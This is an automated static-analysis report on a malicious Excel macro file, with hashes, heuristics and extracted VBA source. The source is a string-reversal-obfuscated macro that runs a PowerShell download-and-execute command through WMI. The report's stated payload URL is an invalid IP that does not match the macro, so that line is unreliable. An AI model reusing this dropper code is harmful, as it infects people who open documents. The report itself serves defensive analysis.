Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0b8d46296fb3634a…

MALICIOUS

Office (OOXML)

13.7 KB Created: 2021-07-21 09:55:40 UTC Authoring application: Microsoft Macintosh Excel 16.0300 First seen: 2026-06-04
MD5: c690f5ac4715941e923b1138b9d7e146 SHA-1: adc55281708f2ff1d3b55e69def4e35634a55aae SHA-256: 0b8d46296fb3634af81bdbd9bbcb673cab04b2768d08f96f5b134983050bd266
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The VBA macro contains a function that reverses strings, which is used to obfuscate a PowerShell command. This command, when deobfuscated, downloads and executes a second-stage payload from the URL 'http://1.281.681.291/run.txt'. The GetObject call is used to execute this PowerShell command, indicating a clear intent to download and run additional malicious content.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        GetObject(bears(":stmgmniw")).Get(bears("ssecorP_23niW")).Create strArg, Null, Null, pid
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 963 bytes
SHA-256: d79dfa9ab54f18c7d92b150c30398ca0b675e3edd22cb5f8b37c7b09f8a14b65
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Function bears(cows)
    bears = StrReverse(cows)
End Function
Sub Mymacro()
    Dim strArg As String
    strArg = bears("))'txt.nur/6.1.861.291//:ptth'(gnirtsdaolnwod.)tneilcbew.ten.metsys tcejbo-wen((xei c- pon- ssapyb cexe- llehsrewop")

    GetObject(bears(":stmgmniw")).Get(bears("ssecorP_23niW")).Create strArg, Null, Null, pid
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16896 bytes
SHA-256: b1a4e89de0731b27b295b116e675d47c6e5880957a390f9cbe61507581db68b8